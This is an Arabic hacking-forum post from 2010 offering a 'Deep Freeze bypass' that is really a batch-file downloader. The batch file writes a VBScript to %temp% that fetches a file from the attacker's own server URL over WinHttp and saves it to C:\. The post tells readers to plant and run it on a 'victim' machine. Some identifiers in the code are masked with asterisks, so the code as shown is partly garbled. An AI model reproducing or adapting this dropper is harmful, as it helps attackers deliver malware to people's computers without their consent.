كود تفادي الديب فريز الضحية Deep Freeze }

اذهب الى الأسفل

كود تفادي الديب فريز الضحية Deep Freeze }

مُساهمة  Mr.BLaCK-CodE في الثلاثاء أبريل 27, 2010 9:46 pm

][بسم الله الرحمن الرحيم][
السلام عليكم و رحمة الله و بركاته
||تفادي الديب فريز||
أنسخ هذا الكود وضعها في المفكرة
-------------------------------------------------------------------------------------------------------------------------------------------------
@echo off
set file="patch url"
set dlto="C:\"
::----------------

if exist %temp%\dl.vbs del /q %temp%\dl.vbs
echo HTTPDownload %file%,%dlto% >> %temp%\dl.vbs
echo Sub HTTPDownload( myURL, myPath ) >> %temp%\dl.vbs
echo Dim i, objFile, objFSO, objHTTP, strFile, strMsg >> %temp%\dl.vbs
echo Const ForReading = 1, ForWriting = 2, ForAppending = 8 >> %temp%\dl.vbs
echo Set objFSO = CreateObject( "Scripting.FileSystemObject" ) >> %temp%\dl.vbs
echo If objFSO.FolderExists( myPath ) Then >> %temp%\dl.vbs
echo strFile = objFSO.BuildPath( myPath, Mid( myURL, InStrRev( myURL, "/" ) + 1 ) ) >> %temp%\dl.vbs
echo ElseIf objFSO.FolderExists( Left( myPath, InStrRev( myPath, "\" ) - 1 ) ) Then >> %temp%\dl.vbs
echo strFile = myPath >> %temp%\dl.vbs

echo Else >> %temp%\dl.vbs
echo Exit Sub >> %temp%\dl.vbs
echo End If >> %temp%\dl.vbs
echo Set objFile = objFSO.Open****File( strFile, ForWriting, True ) >> %temp%\dl.vbs
echo Set objHTTP = CreateObject( "WinHttp.WinHttpRequest.5.1" ) >> %temp%\dl.vbs
echo objHTTP.Open "GET", myURL, False >> %temp%\dl.vbs
echo objHTTP.Send >> %temp%\dl.vbs
echo For i = 1 To LenB( objHTTP.Response**** ) >> %temp%\dl.vbs
echo objFile.Write Chr( AscB( MidB( objHTTP.Response****, i, 1 ) ) ) >> %temp%\dl.vbs
echo Next >> %temp%\dl.vbs
echo objFile.Close( ) >> %temp%\dl.vbs
echo End Sub >> %temp%\dl.vbs

start %temp%\dl.vbs

------------------------------------------------------------------------------------------------------------------------------------------------

بعد ماتلصق هذاء الكود في المفكرة بدل كلمة patch url برأبط سيرفرك
المباشر واحفظها باسم بأمتداد BAT بعدين نزلها بجهاز الضحية وسو لها تشغيل
ومبروك عليك الضحية


ارجو منكم التقيم ان شاء الله
avatar
Mr.BLaCK-CodE
مدير
مدير

عدد المساهمات : 156
نقاط : 3825
السٌّمعَة : 0
تاريخ التسجيل : 13/04/2010
العمر : 26
الموقع : WwW.SyRiAA-HaC.Yoo7.CoM

http://WwW.SyRiAA-HaC.Yoo7.CoM

الرجوع الى أعلى الصفحة اذهب الى الأسفل

الرجوع الى أعلى الصفحة

- مواضيع مماثلة

 
صلاحيات هذا المنتدى:
لاتستطيع الرد على المواضيع في هذا المنتدى